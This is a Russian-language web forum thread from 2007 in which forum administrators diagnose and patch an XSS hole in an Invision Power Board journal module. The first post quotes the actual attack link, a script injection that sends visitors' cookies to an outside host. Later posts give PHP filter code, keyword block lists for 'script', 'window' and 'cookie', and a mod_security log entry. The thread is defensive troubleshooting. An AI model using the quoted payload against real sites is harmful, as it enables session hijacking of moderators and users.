Arhar Опубликовано 2 Октября 2007 Жалоба Поделиться Опубликовано 2 Октября 2007 ссылкой типа_ttp://www.sumirea.ru/forum/journal.php?user=9251"><script>window.location.href='_ttp://ebu.hut2.ru/fun.php?'+doc_ument.co_okie</script>угоняются куки,причем успешно хорошо я присутствовал в момент взлома, да и ломал тупой кулхацкер, так что ничего он не успел сделатьно вопрос - откуда такая ерунда и почему оно сработало сработало по непонятной причине, добавил пару фильтров в class_bbcode_core в функцию парсинга ссылокотпишитесь, носит ли это только локальный характер Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
urisoft Опубликовано 2 Октября 2007 Жалоба Поделиться Опубликовано 2 Октября 2007 В файле ./journal.php Для форума 2.0 после строки:$ibforums->input = $std->parse_incoming();добавить:$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']); Для форума 2.1 и старше после:$ipsclass->parse_incoming();добавить:$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']); Это временное решение, если кто сделает более элегантно и грамотно буду только рад. Крадутся куки модераторов дневников. Проблема в том что в шаблоне skin_global.php используется $_SERVER['REQUEST_URI']. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 2 Октября 2007 Автор Жалоба Поделиться Опубликовано 2 Октября 2007 также временно$ipsclass->parse_incoming(); $_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = preg_replace( "/script/i" , "s_c_r_i_p_t" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = preg_replace( "/window/i" , "w_i_n_d_o_w" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = preg_replace( "/location/i" , "l_o_c_a_t_i_o_n" , $_SERVER['REQUEST_URI'] ); принципиально важно убрать яваскриптные редиректыя их всех не знаю установилIE7 болезненно реагирует на слово documentневажно, есть ли очистка тегов, он просто перенаправляет сразу более менее это выглядит так$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']); $_SERVER['REQUEST_URI'] = preg_replace( "/script/i" , "s_c_r_i_p_t" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = preg_replace( "/window/i" , "w_i_n_d_o_w" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = preg_replace( "/location/i" , "l_o_c_a_t_i_o_n" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = preg_replace( "/document/i" , "d_o_c_u_m_e_n_t" , $_SERVER['REQUEST_URI'] ); if(strpos($_SERVER['REQUEST_URI'],'cookie')!==false) { print "**itesv***sukinepoluchitevicookie"; exit; } $_SERVER['REQUEST_URI'] = preg_replace( "/cookie/i" , "**itesv***" , $_SERVER['REQUEST_URI'] ); Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Sannis Опубликовано 2 Октября 2007 Жалоба Поделиться Опубликовано 2 Октября 2007 Может не хватить... Посмотри для примера post_db_parse_html в class_bbcode_core.php и pre_db_parse в class_bbcode.php. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 2 Октября 2007 Автор Жалоба Поделиться Опубликовано 2 Октября 2007 уязвимы по идее только те, у кого есть галочка в графе "модератор дневников"пока-что принципиально закрыл слово куки, вроде закрываемость работает но это не полное решение также убираем слово куки в урл закодированном вариантеif(strpos($_SERVER['REQUEST_URI'],'%63%6F%6F%6B%69%65')!==false) { print "***"; exit; } $_SERVER['REQUEST_URI'] = preg_replace( "/%63%6F%6F%6B%69%65/i" , "***" , $_SERVER['REQUEST_URI'] ); SnS++; Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
xRay Опубликовано 2 Октября 2007 Жалоба Поделиться Опубликовано 2 Октября 2007 AharПо поводу чего можно "пропихнуть" вот тут глянь (мы там про кукисы, но суть едина в плане того что и табы в словах ИЕ проглатывает и т.д.)http://www.ibresource.ru/forums/index.php?showtopic=28683 Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 2 Октября 2007 Автор Жалоба Поделиться Опубликовано 2 Октября 2007 да я следил за этой темой, Сонг че-то там напридумывал и теперь у него в каждом сообщении со словом скрипт выдается бяка)... так про пробелы в слове фишка работает?тогда надо вырезать пробелы Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Sannis Опубликовано 2 Октября 2007 Жалоба Поделиться Опубликовано 2 Октября 2007 так про пробелы в слове фишка работает?тогда надо вырезать пробелыПотому и давал выше ссылки на функции, там как раз есть регулярки и для пробелов. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 2 Октября 2007 Автор Жалоба Поделиться Опубликовано 2 Октября 2007 напиши их плиз сразу (для пробелов)я сегодня машину с толкача заводил чтоб из института домой доехать, как-то сил нет) по ходу хорошо так:$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);и у тех, у кого нет этой функции смотреть дистрибутивы версии 22х и выше вот так реально помогаетрешение. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Sannis Опубликовано 2 Октября 2007 Жалоба Поделиться Опубликовано 2 Октября 2007 //---------------------------- // 'ass' in 'class' kills css //---------------------------- Примерно так:if ( preg_match( "/javascript\:/is", preg_replace( "#/\s{1,}#s", "", $url ) ) ) { лажа; } Arhar, ага, это видимо в память запало P.S. Я только одного не пойму: неужели там без $_SERVER['REQUEST_URI'] нельзя обойтись? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 3 Октября 2007 Автор Жалоба Поделиться Опубликовано 3 Октября 2007 тема заглохла?нехорошочто скажет автор модуля по поводу решения:$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);xsscleanhtml.txt Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
l-k Опубликовано 3 Октября 2007 Жалоба Поделиться Опубликовано 3 Октября 2007 А может, просто фильтровать REQUEST_URI на нехорошие символы? или лучше, _GET. Какие у нас там возможны значения? Только \w и еще иногда # - как в именах ключей, так и в значениях. И все, враг не пройдет. где-то так$url = $this->base_url; foreach ($_GET as $k => $v) { $url .= preg_replace("/\W/", "", $k)."=".preg_replace("/[^#\w]/", "", $v)."&"; } $url = rtrim($url, "&"); $mod_mode = $this->skin->html['global']->moderator_mode($mod_view,$mod_text,$url);и соотвественно в скине подправить функцию moderator_mode - добавить третий параметр... т.е. если оставить в query string только латинские буквы, цифры, подчеркивание и знак #, то никакой xss по определению не пройдет... а ничего другого в дневниках get-ом и не передается. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
xRay Опубликовано 3 Октября 2007 Жалоба Поделиться Опубликовано 3 Октября 2007 l-kв XSS еще и юникод юзают только в путьпрогуляйся по всяких хак-группам и погляди сама Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
l-k Опубликовано 3 Октября 2007 Жалоба Поделиться Опубликовано 3 Октября 2007 (изменено) Пусть юзают. Что от него останется после вышеприведенной очистки? Только про "#" я прогнала - надо и его выкидывать. Это ни на что особо не повлияет. А вообще-то, и это ерунда Надо просто в skin_global.php вот это<a href="{$_SERVER['REQUEST_URI']}" onclick="set_mod_cookie('{$check}');"><b>{$text}</b></a>заменить на это<a href="" onclick="java script:set_mod_cookie('{$check}');window.location.reload()"><b>{$text}</b></a> Изменено 3 Октября 2007 пользователем l-k Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Sannis Опубликовано 3 Октября 2007 Жалоба Поделиться Опубликовано 3 Октября 2007 Надо просто в skin_global.php вот это<a href="{$_SERVER['REQUEST_URI']}" onclick="set_mod_cookie('{$check}');"><b>{$text}</b></a>заменить на это<a href="" onclick="java script:set_mod_cookie('{$check}');window.location.reload()"><b>{$text}</b></a>Ага. Наконец то кто-то это сделал P.S. Я только одного не пойму: неужели там без $_SERVER['REQUEST_URI'] нельзя обойтись? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
replicant Опубликовано 4 Октября 2007 Жалоба Поделиться Опубликовано 4 Октября 2007 А если на сервере с apache'м юзать mod_security то в логах самого сервера бывают такого типа мессаджи ==0615eb06============================== Request: URL 72.232.10.98 - - [15/Sep/2007:22:05:57 +0400] "GET /forum/java script:multi_page_jump(/ HTTP/1.1" 200 45337 "-" "Mozilla/4.0 (compa tible; MSIE 6.0; Windows NT 5.1)" - "-" ---------------------------------------- GET /forum/java script:multi_page_jump(/ HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: URL Pragma: no-cache Accept: */* mod_security-message: Warning. Pattern match "java script:" at QUERY_STRING [msg "XSS attack"] [severity "EMERGENCY"] HTTP/1.1 200 OK X-Powered-By: PHP/version Set-Cookie: ipb_session_id=f34ae3c5e2338254e316aa7e32becc70; path=/ Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251 --0615eb06-- вобщем это позволяет в некотором роде снизить риски У себя применил фиксы от urisoft и l-k , буду смотреть. Как вообще такой URL, который привел Arhar пролез или это просто в браузере руками вводили? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 5 Октября 2007 Автор Жалоба Поделиться Опубликовано 5 Октября 2007 http://www.ibresource.ru/forums/index.php?...st&p=285189 в ИЕ7 в хрефе нужна решетка Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
l-k Опубликовано 5 Октября 2007 Жалоба Поделиться Опубликовано 5 Октября 2007 Arhar, "решетка" (fragment identifier) в _GET не попадает, значит, учитывать ее при очистке значений параметров не нужно. Ее, если она нужна, надо выцеплять из $_SERVER['REQUEST_URI']. Насчет IE7 ничего не скажу, проверить не могу. Другие браузеры, как правило, ее не цепляют к url при отправке запроса. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 5 Октября 2007 Автор Жалоба Поделиться Опубликовано 5 Октября 2007 если в ие7 нет решетки, все происходит как-то глючноесть - все оккороче не очень важно Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
l-k Опубликовано 5 Октября 2007 Жалоба Поделиться Опубликовано 5 Октября 2007 Да, конечно, неважно тема раскрыта. Но раз уж ты про это упомянул, то в Википедии хорошо разжевано про обработку этой решетки браузером и серверными скриптами. http://en.wikipedia.org/wiki/Fragment_identifier Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 5 Октября 2007 Автор Жалоба Поделиться Опубликовано 5 Октября 2007 эээээ,нет,так не пойдет после этого изменения все равно происходит переадресация, даже учитывая то, что я убрал $_SERVER['REQUEST_URI'] а, ну естесственно! ./journal/journal.php $stats = '<br /><div align="center" class="copyright">[ Script Execution time: '.sprintf( "%.4f",$Debug->endTimer()).' ] [ '.$DB->get_query_cnt().' <a style="text-decoration:none" href="'.$this->base_url.$_SERVER['QUERY_STRING'].'&debug=1">queries</a> used ] [ '.$gzip_status.' ] '.$sload.'</div>'.$stats;что здесь делает query_string?правильно!ворует куки!!! ппц дырявый модуль http://img502.imageshack.us/img502/6517/vzlomtestmh2.jpg вот решение $_SERVER['REQUEST_URI'] = preg_replace( "#w(\s+?)?i(\s+?)?n(\s+?)?d(\s+?)?o(\s+?)?w#is" , "vzlom" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = preg_replace( "#c(\s+?)?o(\s+?)?o(\s+?)?k(\s+?)?i(\s+?)?e#is" , "vzlom" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = preg_replace( "#%63(\s+?)?%6F(\s+?)?%6F(\s+?)?%6B(\s+?)?%69(\s+?)?%65#is" , "vzlom" , $_SERVER['REQUEST_URI'] ); $_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']); $_SERVER['QUERY_STRING'] = preg_replace( "#w(\s+?)?i(\s+?)?n(\s+?)?d(\s+?)?o(\s+?)?w#is" , "vzlom" , $_SERVER['QUERY_STRING'] ); $_SERVER['QUERY_STRING'] = preg_replace( "#c(\s+?)?o(\s+?)?o(\s+?)?k(\s+?)?i(\s+?)?e#is" , "vzlom" , $_SERVER['QUERY_STRING'] ); $_SERVER['QUERY_STRING'] = preg_replace( "#%63(\s+?)?%6F(\s+?)?%6F(\s+?)?%6B(\s+?)?%69(\s+?)?%65#is" , "vzlom" , $_SERVER['QUERY_STRING'] ); $_SERVER['QUERY_STRING'] = $ipsclass->xss_html_clean($_SERVER['QUERY_STRING']);тут уж никакие коды точно не должны пройти Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
l-k Опубликовано 5 Октября 2007 Жалоба Поделиться Опубликовано 5 Октября 2007 Так и туда можно javascript засунуть... острой необходимости использовать именно $_SERVER['QUERY_STRING'] по-прежнему нет. Нууу, например, такdocument.location.href = document.location.href.replace("?","?debug=1&"); А у меня debug mode всегда отключен, так спокойней. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
replicant Опубликовано 5 Октября 2007 Жалоба Поделиться Опубликовано 5 Октября 2007 В какое место лучше закинуть function xss_html_clean?Насколько я понимаю, то после замены $ipsclass->xss_html_clean на $ibforums->xss_html_clean это будет актуально и для 2.0.х форумов? Debug тоже всегда отключаю ибо не нужен он в повседневной жизни. Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Arhar Опубликовано 5 Октября 2007 Автор Жалоба Поделиться Опубликовано 5 Октября 2007 функцию наверно в конец файла ibforums.phpона не зависит ни от каких других встроенных функций, поэтому ее можно вообще куда угодно запихнутьвообще она полезная, я использовал ее еще в некоторых местах в class_bbcode_core Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
replicant Опубликовано 5 Октября 2007 Жалоба Поделиться Опубликовано 5 Октября 2007 функцию наверно в конец файла ibforums.php /forum/journal.php наверное? Цитата Ссылка на комментарий Поделиться на других сайтах Прочее
Рекомендуемые сообщения
Присоединиться к обсуждению
Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.